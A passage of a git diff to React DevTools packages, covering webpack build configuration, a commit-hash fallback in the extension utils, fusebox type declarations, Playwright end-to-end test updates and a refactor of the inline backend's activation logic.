-      getSavedComponentFilters(),
-    )};
-    window.__REACT_DEVTOOLS_SHOW_INLINE_WARNINGS_AND_ERRORS__ = ${JSON.stringify(
-      getShowInlineWarningsAndErrors(),
-    )};
-    window.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ = ${JSON.stringify(
-      getHideConsoleLogsInStrictMode(),
-    )};
-    window.__REACT_DEVTOOLS_BROWSER_THEME__ = ${JSON.stringify(
-      getBrowserTheme(),
-    )};`,
-  );
-}
-
-export default syncSavedPreferences;
diff --git a/packages/react-devtools-extensions/utils.js b/packages/react-devtools-extensions/utils.js
index 3b06bb71f7d4..9f02e98d1988 100644
--- a/packages/react-devtools-extensions/utils.js
+++ b/packages/react-devtools-extensions/utils.js
@@ -6,7 +6,7 @@
  */
 
 const {execSync} = require('child_process');
-const {readFileSync} = require('fs');
+const {existsSync, readFileSync} = require('fs');
 const {resolve} = require('path');
 
 const GITHUB_URL = 'https://github.com/facebook/react';
@@ -18,8 +18,26 @@ function getGitCommit() {
       .trim();
   } catch (error) {
     // Mozilla runs this command from a git archive.
-    // In that context, there is no Git revision.
-    return null;
+    // In that context, there is no Git context.
+    // Using the commit hash specified to download-experimental-build.js script as a fallback.
+
+    // Try to read from build/COMMIT_SHA file
+    const commitShaPath = resolve(__dirname, '..', '..', 'build', 'COMMIT_SHA');
+    if (!existsSync(commitShaPath)) {
+      throw new Error(
+        'Could not find build/COMMIT_SHA file. Did you run scripts/release/download-experimental-build.js script?',
+      );
+    }
+
+    try {
+      const commitHash = readFileSync(commitShaPath, 'utf8').trim();
+      // Return short hash (first 7 characters) to match abbreviated commit hash format
+      return commitHash.slice(0, 7);
+    } catch (readError) {
+      throw new Error(
+        `Failed to read build/COMMIT_SHA file: ${readError.message}`,
+      );
+    }
   }
 }
 
diff --git a/packages/react-devtools-extensions/webpack.backend.js b/packages/react-devtools-extensions/webpack.backend.js
deleted file mode 100644
index 20dc0e3a9fd2..000000000000
--- a/packages/react-devtools-extensions/webpack.backend.js
+++ /dev/null
@@ -1,113 +0,0 @@
-'use strict';
-
-const {resolve, isAbsolute, relative} = require('path');
-const Webpack = require('webpack');
-
-const {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');
-const SourceMapIgnoreListPlugin = require('react-devtools-shared/SourceMapIgnoreListPlugin');
-
-const {GITHUB_URL, getVersionString} = require('./utils');
-
-const NODE_ENV = process.env.NODE_ENV;
-if (!NODE_ENV) {
-  console.error('NODE_ENV not set');
-  process.exit(1);
-}
-
-const builtModulesDir = resolve(
-  __dirname,
-  '..',
-  '..',
-  'build',
-  'oss-experimental',
-);
-
-const __DEV__ = NODE_ENV === 'development';
-
-const DEVTOOLS_VERSION = getVersionString(process.env.DEVTOOLS_VERSION);
-
-const IS_CHROME = process.env.IS_CHROME === 'true';
-const IS_FIREFOX = process.env.IS_FIREFOX === 'true';
-const IS_EDGE = process.env.IS_EDGE === 'true';
-
-const featureFlagTarget = process.env.FEATURE_FLAG_TARGET || 'extension-oss';
-
-module.exports = {
-  mode: __DEV__ ? 'development' : 'production',
-  devtool: false,
-  entry: {
-    backend: './src/backend.js',
-  },
-  output: {
-    path: __dirname + '/build',
-    filename: 'react_devtools_backend_compact.js',
-  },
-  node: {
-    global: false,
-  },
-  resolve: {
-    alias: {
-      react: resolve(builtModulesDir, 'react'),
-      'react-debug-tools': resolve(builtModulesDir, 'react-debug-tools'),
-      'react-devtools-feature-flags': resolveFeatureFlags(featureFlagTarget),
-      'react-dom': resolve(builtModulesDir, 'react-dom'),
-      'react-is': resolve(builtModulesDir, 'react-is'),
-      scheduler: resolve(builtModulesDir, 'scheduler'),
-    },
-  },
-  optimization: {
-    minimize: false,
-  },
-  plugins: [
-    new Webpack.ProvidePlugin({
-      process: 'process/browser',
-    }),
-    new Webpack.DefinePlugin({
-      __DEV__: true,
-      __PROFILE__: false,
-      __DEV____DEV__: true,
-      // By importing `shared/` we may import ReactFeatureFlags
-      __EXPERIMENTAL__: true,
-      'process.env.DEVTOOLS_PACKAGE': `"react-devtools-extensions"`,
-      'process.env.DEVTOOLS_VERSION': `"${DEVTOOLS_VERSION}"`,
-      'process.env.GITHUB_URL': `"${GITHUB_URL}"`,
-      'process.env.IS_CHROME': IS_CHROME,
-      'process.env.IS_FIREFOX': IS_FIREFOX,
-      'process.env.IS_EDGE': IS_EDGE,
-    }),
-    new Webpack.SourceMapDevToolPlugin({
-      filename: '[file].map',
-      noSources: !__DEV__,
-      // https://github.com/webpack/webpack/issues/3603#issuecomment-1743147144
-      moduleFilenameTemplate(info) {
-        const {absoluteResourcePath, namespace, resourcePath} = info;
-
-        if (isAbsolute(absoluteResourcePath)) {
-          return relative(__dirname + '/build', absoluteResourcePath);
-        }
-
-        // Mimic Webpack's default behavior:
-        return `webpack://${namespace}/${resourcePath}`;
-      },
-    }),
-    new SourceMapIgnoreListPlugin({
-      shouldIgnoreSource: () => !__DEV__,
-    }),
-  ],
-  module: {
-    rules: [
-      {
-        test: /\.js$/,
-        loader: 'babel-loader',
-        options: {
-          configFile: resolve(
-            __dirname,
-            '..',
-            'react-devtools-shared',
-            'babel.config.js',
-          ),
-        },
-      },
-    ],
-  },
-};
diff --git a/packages/react-devtools-extensions/webpack.config.js b/packages/react-devtools-extensions/webpack.config.js
index aef6e93742b0..129816e90749 100644
--- a/packages/react-devtools-extensions/webpack.config.js
+++ b/packages/react-devtools-extensions/webpack.config.js
@@ -6,6 +6,7 @@ const TerserPlugin = require('terser-webpack-plugin');
 const {GITHUB_URL, getVersionString} = require('./utils');
 const {resolveFeatureFlags} = require('react-devtools-shared/buildUtils');
 const SourceMapIgnoreListPlugin = require('react-devtools-shared/SourceMapIgnoreListPlugin');
+const {StatsWriterPlugin} = require('webpack-stats-plugin');
 
 const NODE_ENV = process.env.NODE_ENV;
 if (!NODE_ENV) {
@@ -35,6 +36,18 @@ const IS_INTERNAL_VERSION = process.env.FEATURE_FLAG_TARGET === 'extension-fb';
 
 const featureFlagTarget = process.env.FEATURE_FLAG_TARGET || 'extension-oss';
 
+let statsFileName = `webpack-stats.${featureFlagTarget}.${__DEV__ ? 'development' : 'production'}`;
+if (IS_CHROME) {
+  statsFileName += `.chrome`;
+}
+if (IS_FIREFOX) {
+  statsFileName += `.firefox`;
+}
+if (IS_EDGE) {
+  statsFileName += `.edge`;
+}
+statsFileName += '.json';
+
 const babelOptions = {
   configFile: resolve(
     __dirname,
@@ -48,20 +61,29 @@ module.exports = {
   mode: __DEV__ ? 'development' : 'production',
   devtool: false,
   entry: {
+    backend: './src/backend.js',
     background: './src/background/index.js',
     backendManager: './src/contentScripts/backendManager.js',
+    fallbackEvalContext: './src/contentScripts/fallbackEvalContext.js',
     fileFetcher: './src/contentScripts/fileFetcher.js',
     main: './src/main/index.js',
     panel: './src/panel.js',
     proxy: './src/contentScripts/proxy.js',
     prepareInjection: './src/contentScripts/prepareInjection.js',
-    renderer: './src/contentScripts/renderer.js',
     installHook: './src/contentScripts/installHook.js',
+    hookSettingsInjector: './src/contentScripts/hookSettingsInjector.js',
   },
   output: {
     path: __dirname + '/build',
     publicPath: '/build/',
-    filename: '[name].js',
+    filename: chunkData => {
+      switch (chunkData.chunk.name) {
+        case 'backend':
+          return 'react_devtools_backend_compact.js';
+        default:
+          return '[name].js';
+      }
+    },
     chunkFilename: '[name].chunk.js',
   },
   node: {
@@ -101,7 +123,6 @@ module.exports = {
   plugins: [
     new Webpack.ProvidePlugin({
       process: 'process/browser',
-      Buffer: ['buffer', 'Buffer'],
     }),
     new Webpack.DefinePlugin({
       __DEV__,
@@ -112,6 +133,7 @@ module.exports = {
       __IS_CHROME__: IS_CHROME,
       __IS_FIREFOX__: IS_FIREFOX,
       __IS_EDGE__: IS_EDGE,
+      __IS_NATIVE__: false,
       __IS_INTERNAL_VERSION__: IS_INTERNAL_VERSION,
       'process.env.DEVTOOLS_PACKAGE': `"react-devtools-extensions"`,
       'process.env.DEVTOOLS_VERSION': `"${DEVTOOLS_VERSION}"`,
@@ -122,7 +144,7 @@ module.exports = {
     }),
     new Webpack.SourceMapDevToolPlugin({
       filename: '[file].map',
-      include: 'installHook.js',
+      include: ['installHook.js', 'react_devtools_backend_compact.js'],
       noSources: !__DEV__,
       // https://github.com/webpack/webpack/issues/3603#issuecomment-1743147144
       moduleFilenameTemplate(info) {
@@ -144,6 +166,7 @@ module.exports = {
         }
 
         const contentScriptNamesToIgnoreList = [
+          'react_devtools_backend_compact',
           // This is where we override console
           'installHook',
         ];
@@ -153,6 +176,66 @@ module.exports = {
         );
       },
     }),
+    {
+      apply(compiler) {
+        if (__DEV__) {
+          return;
+        }
+
+        const {RawSource} = compiler.webpack.sources;
+        compiler.hooks.compilation.tap(
+          'CustomContentForHookScriptPlugin',
+          compilation => {
+            compilation.hooks.processAssets.tap(
+              {
+                name: 'CustomContentForHookScriptPlugin',
+                stage: Webpack.Compilation.PROCESS_ASSETS_STAGE_DEV_TOOLING,
+                additionalAssets: true,
+              },
+              assets => {
+                // eslint-disable-next-line no-for-of-loops/no-for-of-loops
+                for (const [name, asset] of Object.entries(assets)) {
+                  if (name !== 'installHook.js.map') {
+                    continue;
+                  }
+
+                  const mapContent = asset.source().toString();
+                  if (!mapContent) {
+                    continue;
+                  }
+
+                  const map = JSON.parse(mapContent);
+                  map.sourcesContent = map.sources.map(sourceName => {
+                    if (!sourceName.endsWith('/hook.js')) {
+                      return null;
+                    }
+
+                    return (
+                      '/*\n' +
+                      ' * This script is from React DevTools.\n' +
+                      " * You're likely here because you thought it sent an error or warning to the console.\n" +
+                      ' * React DevTools patches the console to support features like appending component stacks, \n' +
+                      ' * so this file appears as a source. However, the console call actually came from another script.\n' +
+                      " * To remove this script from stack traces, open your browser's DevTools (to enable source mapping) before these console calls happen.\n" +
+                      ' */'
+                    );
+                  });
+
+                  compilation.updateAsset(
+                    name,
+                    new RawSource(JSON.stringify(map)),
+                  );
+                }
+              },
+            );
+          },
+        );
+      },
+    },
+    new StatsWriterPlugin({
+      stats: 'verbose',
+      filename: statsFileName,
+    }),
   ],
   module: {
     defaultRules: [
@@ -173,7 +256,7 @@ module.exports = {
           {
             loader: 'workerize-loader',
             options: {
-              inline: true,
+              inline: false,
               name: '[name]',
             },
           },
@@ -197,7 +280,7 @@ module.exports = {
           {
             loader: 'css-loader',
             options: {
-              sourceMap: true,
+              sourceMap: __DEV__,
               modules: true,
               localIdentName: '[local]___[hash:base64:5]',
             },
diff --git a/packages/react-devtools-fusebox/src/frontend.d.ts b/packages/react-devtools-fusebox/src/frontend.d.ts
index 4074baf50774..988197e89ca4 100644
--- a/packages/react-devtools-fusebox/src/frontend.d.ts
+++ b/packages/react-devtools-fusebox/src/frontend.d.ts
@@ -5,49 +5,79 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-export type MessagePayload = null | string | number | boolean | { [key: string]: MessagePayload } | MessagePayload[];
-export type Message = { event: string, payload?: MessagePayload };
+export type MessagePayload =
+  | null
+  | string
+  | number
+  | boolean
+  | {[key: string]: MessagePayload}
+  | MessagePayload[];
+export type Message = {event: string; payload?: MessagePayload};
 
 export type WallListener = (message: Message) => void;
 export type Wall = {
-  listen: (fn: WallListener) => Function,
-  send: (event: string, payload?: MessagePayload) => void,
+  listen: (fn: WallListener) => Function;
+  send: (event: string, payload?: MessagePayload) => void;
 };
 
 export type Bridge = {
-  shutdown: () => void,
+  addListener(event: string, listener: (params: unknown) => any): void;
+  removeListener(event: string, listener: Function): void;
+  shutdown: () => void;
 };
 export type Store = Object;
 export type BrowserTheme = 'dark' | 'light';
+export type Config = {
+  supportsReloadAndProfile?: boolean;
+};
 
 export function createBridge(wall: Wall): Bridge;
-export function createStore(bridge: Bridge): Store;
+export function createStore(bridge: Bridge, config?: Config): Store;
 
-export type Source = {
-  sourceURL: string,
-  line: number,
-  column: number,
-};
+export type ReactFunctionLocation = [
+  string, // function name
+  string, // file name TODO: model nested eval locations as nested arrays
+  number, // enclosing line number
+  number, // enclosing column number
+];
+export type ReactCallSite = [
+  string, // function name
+  string, // file name TODO: model nested eval locations as nested arrays
+  number, // line number
+  number, // column number
+  number, // enclosing line number
+  number, // enclosing column number
+  boolean, // async resume
+];
 export type ViewElementSource = (
-  source: Source,
-  symbolicatedSource: Source | null,
+  source: ReactFunctionLocation | ReactCallSite,
+  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,
 ) => void;
 export type ViewAttributeSource = (
   id: number,
   path: Array<string | number>,
 ) => void;
 export type CanViewElementSource = (
-  source: Source,
-  symbolicatedSource: Source | null,
+  source: ReactFunctionLocation | ReactCallSite,
+  symbolicatedSource: ReactFunctionLocation | ReactCallSite | null,
 ) => boolean;
+export type FetchFileWithCaching = (url: string) => Promise<string>;
 
 export type InitializationOptions = {
-  bridge: Bridge,
-  store: Store,
-  theme?: BrowserTheme,
-  viewAttributeSourceFunction?: ViewAttributeSource,
-  viewElementSourceFunction?: ViewElementSource,
-  canViewElementSourceFunction?: CanViewElementSource,
+  bridge: Bridge;
+  store: Store;
+  theme?: BrowserTheme;
+  viewAttributeSourceFunction?: ViewAttributeSource;
+  viewElementSourceFunction?: ViewElementSource;
+  canViewElementSourceFunction?: CanViewElementSource;
+  fetchFileWithCaching?: FetchFileWithCaching;
 };
 
-export function initialize(node: Element | Document, options: InitializationOptions): void;
+export function initializeComponents(
+  node: Element | Document,
+  options: InitializationOptions,
+): void;
+export function initializeProfiler(
+  node: Element | Document,
+  options: InitializationOptions,
+): void;
diff --git a/packages/react-devtools-fusebox/src/frontend.js b/packages/react-devtools-fusebox/src/frontend.js
index d55241fec7f2..7d09e280233a 100644
--- a/packages/react-devtools-fusebox/src/frontend.js
+++ b/packages/react-devtools-fusebox/src/frontend.js
@@ -19,10 +19,12 @@ import type {
 } from 'react-devtools-shared/src/frontend/types';
 import type {FrontendBridge} from 'react-devtools-shared/src/bridge';
 import type {
+  CanViewElementSource,
+  TabID,
   ViewAttributeSource,
   ViewElementSource,
-  CanViewElementSource,
 } from 'react-devtools-shared/src/devtools/views/DevTools';
+import type {FetchFileWithCaching} from 'react-devtools-shared/src/devtools/views/Components/FetchFileWithCachingContext';
 import type {Config} from 'react-devtools-shared/src/devtools/store';
 
 export function createBridge(wall?: Wall): FrontendBridge {
@@ -49,12 +51,14 @@ type InitializationOptions = {
   viewAttributeSourceFunction?: ViewAttributeSource,
   viewElementSourceFunction?: ViewElementSource,
   canViewElementSourceFunction?: CanViewElementSource,
+  fetchFileWithCaching?: FetchFileWithCaching,
 };
 
-export function initialize(
+function initializeTab(
+  tab: TabID,
   contentWindow: Element | Document,
   options: InitializationOptions,
-): void {
+) {
   const {
     bridge,
     store,
@@ -62,6 +66,7 @@ export function initialize(
     viewAttributeSourceFunction,
     viewElementSourceFunction,
     canViewElementSourceFunction,
+    fetchFileWithCaching,
   } = options;
   const root = createRoot(contentWindow);
 
@@ -70,12 +75,28 @@ export function initialize(
       bridge={bridge}
       browserTheme={theme}
       store={store}
-      showTabBar={true}
+      showTabBar={false}
+      overrideTab={tab}
       warnIfLegacyBackendDetected={true}
       enabledInspectedElementContextMenu={true}
       viewAttributeSourceFunction={viewAttributeSourceFunction}
       viewElementSourceFunction={viewElementSourceFunction}
       canViewElementSourceFunction={canViewElementSourceFunction}
+      fetchFileWithCaching={fetchFileWithCaching}
     />,
   );
 }
+
+export function initializeComponents(
+  contentWindow: Element | Document,
+  options: InitializationOptions,
+): void {
+  initializeTab('components', contentWindow, options);
+}
+
+export function initializeProfiler(
+  contentWindow: Element | Document,
+  options: InitializationOptions,
+): void {
+  initializeTab('profiler', contentWindow, options);
+}
diff --git a/packages/react-devtools-fusebox/webpack.config.frontend.js b/packages/react-devtools-fusebox/webpack.config.frontend.js
index 40487f623bed..a2e09f0e0adb 100644
--- a/packages/react-devtools-fusebox/webpack.config.frontend.js
+++ b/packages/react-devtools-fusebox/webpack.config.frontend.js
@@ -74,7 +74,6 @@ module.exports = {
     new MiniCssExtractPlugin(),
     new Webpack.ProvidePlugin({
       process: 'process/browser',
-      Buffer: ['buffer', 'Buffer'],
     }),
     new Webpack.DefinePlugin({
       __DEV__,
@@ -82,6 +81,10 @@ module.exports = {
       __EXTENSION__: false,
       __PROFILE__: false,
       __TEST__: NODE_ENV === 'test',
+      __IS_NATIVE__: true,
+      __IS_CHROME__: false,
+      __IS_FIREFOX__: false,
+      __IS_EDGE__: false,
       'process.env.DEVTOOLS_PACKAGE': `"react-devtools-fusebox"`,
       'process.env.DEVTOOLS_VERSION': `"${DEVTOOLS_VERSION}"`,
       'process.env.EDITOR_URL': EDITOR_URL != null ? `"${EDITOR_URL}"` : null,
@@ -97,6 +100,7 @@ module.exports = {
           {
             loader: 'workerize-loader',
             options: {
+              // Workers would have to be exposed on a public path in order to outline them.
               inline: true,
               name: '[name]',
             },
diff --git a/packages/react-devtools-inline/__tests__/__e2e__/components.test.js b/packages/react-devtools-inline/__tests__/__e2e__/components.test.js
index b92fcb57e6d5..3d187c3ddaba 100644
--- a/packages/react-devtools-inline/__tests__/__e2e__/components.test.js
+++ b/packages/react-devtools-inline/__tests__/__e2e__/components.test.js
@@ -52,7 +52,7 @@ test.describe('Components', () => {
 
   test('Should allow elements to be inspected', async () => {
     // Select the first list item in DevTools.
-    await devToolsUtils.selectElement(page, 'ListItem', 'List\nApp');
+    await devToolsUtils.selectElement(page, 'ListItem', '<List>\n<App>');
 
     // Prop names/values may not be editable based on the React version.
     // If they're not editable, make sure they degrade gracefully
@@ -93,7 +93,9 @@ test.describe('Components', () => {
 
         const name = isEditable.name
           ? existingNameElements[0].value
-          : existingNameElements[0].innerText;
+          : existingNameElements[0].innerText
+              // remove trailing colon
+              .slice(0, -1);
         const value = isEditable.value
           ? existingValueElements[0].value
           : existingValueElements[0].innerText;
@@ -119,7 +121,7 @@ test.describe('Components', () => {
     runOnlyForReactRange('>=16.8');
 
     // Select the first list item in DevTools.
-    await devToolsUtils.selectElement(page, 'ListItem', 'List\nApp');
+    await devToolsUtils.selectElement(page, 'ListItem', '<List>\n<App>', true);
 
     // Then read the inspected values.
     const sourceText = await page.evaluate(() => {
@@ -127,7 +129,7 @@ test.describe('Components', () => {
       const container = document.getElementById('devtools');
 
       const source = findAllNodes(container, [
-        createTestNameSelector('InspectedElementView-Source'),
+        createTestNameSelector('InspectedElementView-FormattedSourceString'),
       ])[0];
 
       return source.innerText;
@@ -142,7 +144,7 @@ test.describe('Components', () => {
     runOnlyForReactRange('>=16.8');
 
     // Select the first list item in DevTools.
-    await devToolsUtils.selectElement(page, 'ListItem', 'List\nApp');
+    await devToolsUtils.selectElement(page, 'ListItem', '<List>\n<App>');
 
     // Then edit the label prop.
     await page.evaluate(() => {
@@ -177,7 +179,7 @@ test.describe('Components', () => {
     runOnlyForReactRange('>=16.8');
 
     // Select the List component DevTools.
-    await devToolsUtils.selectElement(page, 'List', 'App');
+    await devToolsUtils.selectElement(page, 'List', '<App>');
 
     // Then click to load and parse hook names.
     await devToolsUtils.clickButton(page, 'LoadHookNamesButton');
@@ -212,8 +214,8 @@ test.describe('Components', () => {
   });
 
   test('should allow searching for component by name', async () => {
-    async function getComponentSearchResultsCount() {
-      return await page.evaluate(() => {
+    async function waitForComponentSearchResultsCount(text) {
+      return await page.waitForFunction(expectedElementText => {
         const {createTestNameSelector, findAllNodes} =
           window.REACT_DOM_DEVTOOLS;
         const container = document.getElementById('devtools');
@@ -221,8 +223,10 @@ test.describe('Components', () => {
         const element = findAllNodes(container, [
           createTestNameSelector('ComponentSearchInput-ResultsCount'),
         ])[0];
-        return element.innerText;
-      });
+        return element !== undefined
+          ? element.innerText === expectedElementText
+          : false;
+      }, text);
     }
 
     async function focusComponentSearch() {
@@ -237,36 +241,28 @@ test.describe('Components', () => {
     }
 
     await focusComponentSearch();
-    page.keyboard.insertText('List');
-    let count = await getComponentSearchResultsCount();
-    expect(count).toBe('1 | 4');
+    await page.keyboard.insertText('List');
+    await waitForComponentSearchResultsCount('1 | 4');
 
-    page.keyboard.insertText('Item');
-    count = await getComponentSearchResultsCount();
-    expect(count).toBe('1 | 3');
+    await page.keyboard.insertText('Item');
+    await waitForComponentSearchResultsCount('1 | 3');
 
-    page.keyboard.press('Enter');
-    count = await getComponentSearchResultsCount();
-    expect(count).toBe('2 | 3');
+    await page.keyboard.press('Enter');
+    await waitForComponentSearchResultsCount('2 | 3');
 
-    page.keyboard.press('Enter');
-    count = await getComponentSearchResultsCount();
-    expect(count).toBe('3 | 3');
+    await page.keyboard.press('Enter');
+    await waitForComponentSearchResultsCount('3 | 3');
 
-    page.keyboard.press('Enter');
-    count = await getComponentSearchResultsCount();
-    expect(count).toBe('1 | 3');
+    await page.keyboard.press('Enter');
+    await waitForComponentSearchResultsCount('1 | 3');
 
-    page.keyboard.press('Shift+Enter');
-    count = await getComponentSearchResultsCount();
-    expect(count).toBe('3 | 3');
+    await page.keyboard.press('Shift+Enter');
+    await waitForComponentSearchResultsCount('3 | 3');
 
-    page.keyboard.press('Shift+Enter');
-    count = await getComponentSearchResultsCount();
-    expect(count).toBe('2 | 3');
+    await page.keyboard.press('Shift+Enter');
+    await waitForComponentSearchResultsCount('2 | 3');
 
-    page.keyboard.press('Shift+Enter');
-    count = await getComponentSearchResultsCount();
-    expect(count).toBe('1 | 3');
+    await page.keyboard.press('Shift+Enter');
+    await waitForComponentSearchResultsCount('1 | 3');
   });
 });
diff --git a/packages/react-devtools-inline/__tests__/__e2e__/devtools-utils.js b/packages/react-devtools-inline/__tests__/__e2e__/devtools-utils.js
index 333b47309a3c..c39f63dc5bb4 100644
--- a/packages/react-devtools-inline/__tests__/__e2e__/devtools-utils.js
+++ b/packages/react-devtools-inline/__tests__/__e2e__/devtools-utils.js
@@ -27,7 +27,12 @@ async function getElementCount(page, displayName) {
   }, displayName);
 }
 
-async function selectElement(page, displayName, waitForOwnersText) {
+async function selectElement(
+  page,
+  displayName,
+  waitForOwnersText,
+  waitForSourceLoaded = false
+) {
   await page.evaluate(listItemText => {
     const {createTestNameSelector, createTextSelector, findAllNodes} =
       window.REACT_DOM_DEVTOOLS;
@@ -59,16 +64,41 @@ async function selectElement(page, displayName, waitForOwnersText) {
           createTestNameSelector('InspectedElementView-Owners'),
         ])[0];
 
+        if (!ownersList) {
+          return false;
+        }
+
+        const owners = findAllNodes(ownersList, [
+          createTestNameSelector('OwnerView'),
+        ]);
+
         return (
           title &&
           title.innerText.includes(titleText) &&
-          ownersList &&
-          ownersList.innerText.includes(ownersListText)
+          owners &&
+          owners
+            .map(node => node.innerText)
+            .join('\n')
+            .includes(ownersListText)
         );
       },
       {titleText: displayName, ownersListText: waitForOwnersText}
     );
   }
+
+  if (waitForSourceLoaded) {
+    await page.waitForFunction(() => {
+      const {createTestNameSelector, findAllNodes} = window.REACT_DOM_DEVTOOLS;
+      const container = document.getElementById('devtools');
+
+      const sourceStringBlock = findAllNodes(container, [
+        createTestNameSelector('InspectedElementView-FormattedSourceString'),
+      ])[0];
+
+      // Wait for a new source line to be fetched
+      return sourceStringBlock != null && sourceStringBlock.innerText != null;
+    });
+  }
 }
 
 module.exports = {
diff --git a/packages/react-devtools-inline/__tests__/__e2e__/utils.js b/packages/react-devtools-inline/__tests__/__e2e__/utils.js
index 1e0efabb1546..5f0505b71e07 100644
--- a/packages/react-devtools-inline/__tests__/__e2e__/utils.js
+++ b/packages/react-devtools-inline/__tests__/__e2e__/utils.js
@@ -7,7 +7,6 @@ const config = require('../../playwright.config');
 const {test} = require('@playwright/test');
 
 function runOnlyForReactRange(range) {
-  // eslint-disable-next-line jest/no-disabled-tests
   test.skip(
     !semver.satisfies(config.use.react_version, range),
     `This test requires a React version of ${range} to run. ` +
diff --git a/packages/react-devtools-inline/package.json b/packages/react-devtools-inline/package.json
index b6c0bd0c9b44..cc5fc51a6ef6 100644
--- a/packages/react-devtools-inline/package.json
+++ b/packages/react-devtools-inline/package.json
@@ -1,6 +1,6 @@
 {
   "name": "react-devtools-inline",
-  "version": "5.3.0",
+  "version": "7.0.1",
   "description": "Embed react-devtools within a website",
   "license": "MIT",
   "main": "./dist/backend.js",
@@ -22,8 +22,8 @@
     "test:e2e": "playwright test --config=playwright.config.js"
   },
   "dependencies": {
-    "source-map-js": "^0.6.2",
-    "sourcemap-codec": "^1.4.8"
+    "@jridgewell/sourcemap-codec": "1.5.5",
+    "source-map-js": "^0.6.2"
   },
   "devDependencies": {
     "@babel/core": "^7.11.1",
@@ -33,7 +33,7 @@
     "@babel/preset-env": "^7.11.0",
     "@babel/preset-flow": "^7.10.4",
     "@babel/preset-react": "^7.10.4",
-    "@playwright/test": "^1.16.3",
+    "@playwright/test": "^1.51.1",
     "babel-core": "^7.0.0-bridge",
     "babel-eslint": "^9.0.0",
     "babel-loader": "^8.0.4",
diff --git a/packages/react-devtools-inline/src/backend.js b/packages/react-devtools-inline/src/backend.js
index e7d0485b3756..9810d5b39ccf 100644
--- a/packages/react-devtools-inline/src/backend.js
+++ b/packages/react-devtools-inline/src/backend.js
@@ -3,56 +3,44 @@
 import Agent from 'react-devtools-shared/src/backend/agent';
 import Bridge from 'react-devtools-shared/src/bridge';
 import {initBackend} from 'react-devtools-shared/src/backend';
-import {installConsoleFunctionsToWindow} from 'react-devtools-shared/src/backend/console';
 import {installHook} from 'react-devtools-shared/src/hook';
 import setupNativeStyleEditor from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';
 
-import type {BackendBridge} from 'react-devtools-shared/src/bridge';
-import type {Wall} from 'react-devtools-shared/src/frontend/types';
+import type {
+  BackendBridge,
+  SavedPreferencesParams,
+} from 'react-devtools-shared/src/bridge';
+import type {
+  ComponentFilter,
+  Wall,
+} from 'react-devtools-shared/src/frontend/types';
+import {
+  getIfReloadedAndProfiling,
+  getIsReloadAndProfileSupported,
+  onReloadAndProfile,
+  onReloadAndProfileFlagsReset,
+} from 'react-devtools-shared/src/utils';
+
+let resolveComponentFiltersInjection: (filters: Array<ComponentFilter>) => void;
+const componentFiltersPromise = new Promise<Array<ComponentFilter>>(resolve => {
+  resolveComponentFiltersInjection = resolve;
+});
 
 function startActivation(contentWindow: any, bridge: BackendBridge) {
-  const onSavedPreferences = (data: $FlowFixMe) => {
+  const onSavedPreferences = (data: SavedPreferencesParams) => {
     // This is the only message we're listening for,
     // so it's safe to cleanup after we've received it.
     bridge.removeListener('savedPreferences', onSavedPreferences);
 
-    const {
-      appendComponentStack,
-      breakOnConsoleErrors,
-      componentFilters,
-      showInlineWarningsAndErrors,
-      hideConsoleLogsInStrictMode,
-    } = data;
-
-    contentWindow.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ =
-      appendComponentStack;
-    contentWindow.__REACT_DEVTOOLS_BREAK_ON_CONSOLE_ERRORS__ =
-      breakOnConsoleErrors;
-    contentWindow.__REACT_DEVTOOLS_COMPONENT_FILTERS__ = componentFilters;
-    contentWindow.__REACT_DEVTOOLS_SHOW_INLINE_WARNINGS_AND_ERRORS__ =
-      showInlineWarningsAndErrors;
-    contentWindow.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ =
-      hideConsoleLogsInStrictMode;
-
-    // TRICKY
-    // The backend entry point may be required in the context of an iframe or the parent window.
-    // If it's required within the parent window, store the saved values on it as well,
-    // since the injected renderer interface will read from window.
-    // Technically we don't need to store them on the contentWindow in this case,
-    // but it doesn't really hurt anything to store them there too.
-    if (contentWindow !== window) {
-      window.__REACT_DEVTOOLS_APPEND_COMPONENT_STACK__ = appendComponentStack;
-      window.__REACT_DEVTOOLS_BREAK_ON_CONSOLE_ERRORS__ = breakOnConsoleErrors;
-      window.__REACT_DEVTOOLS_COMPONENT_FILTERS__ = componentFilters;
-      window.__REACT_DEVTOOLS_SHOW_INLINE_WARNINGS_AND_ERRORS__ =
-        showInlineWarningsAndErrors;
-      window.__REACT_DEVTOOLS_HIDE_CONSOLE_LOGS_IN_STRICT_MODE__ =
-        hideConsoleLogsInStrictMode;
-    }
+    const {componentFilters} = data;
 
-    finishActivation(contentWindow, bridge);
+    resolveComponentFiltersInjection(componentFilters);
   };
 
+  componentFiltersPromise.then(
+    finishActivation.bind(null, contentWindow, bridge),
+  );
+
   bridge.addListener('savedPreferences', onSavedPreferences);
 
   // The backend may be unable to read saved preferences directly,
@@ -63,11 +51,16 @@ function startActivation(contentWindow: any, bridge: BackendBridge) {
 }
 
 function finishActivation(contentWindow: any, bridge: BackendBridge) {
-  const agent = new Agent(bridge);
+  const agent = new Agent(
+    bridge,
+    getIfReloadedAndProfiling(),
+    onReloadAndProfile,
+  );
+  onReloadAndProfileFlagsReset();
 
   const hook = contentWindow.__REACT_DEVTOOLS_GLOBAL_HOOK__;
   if (hook) {
-    initBackend(hook, agent, contentWindow);
+    initBackend(hook, agent, contentWindow, getIsReloadAndProfileSupported());
 
     // Setup React Native style editor if a renderer like react-native-web has injected it.
     if (hook.resolveRNStyle) {
@@ -120,8 +113,5 @@ export function createBridge(contentWindow: any, wall?: Wall): BackendBridge {
 }
 
 export function initialize(contentWindow: any): void {
-  // Install a global variable to allow patching console early (during injection).
-  // This provides React Native developers with components stacks even if they don't run DevTools.
-  installConsoleFunctionsToWindow();
-  installHook(contentWindow);
+  installHook(contentWindow, componentFiltersPromise);
 }
diff --git a/packages/react-devtools-inline/src/frontend.js b/packages/react-devtools-inline/src/frontend.js
index 9031f6ffc7bd..b8d1b2ef4d81 100644
--- a/packages/react-devtools-inline/src/frontend.js
+++ b/packages/react-devtools-inline/src/frontend.js
@@ -5,13 +5,7 @@ import {forwardRef} from 'react';
 import Bridge from 'react-devtools-shared/src/bridge';
 import Store from 'react-devtools-shared/src/devtools/store';
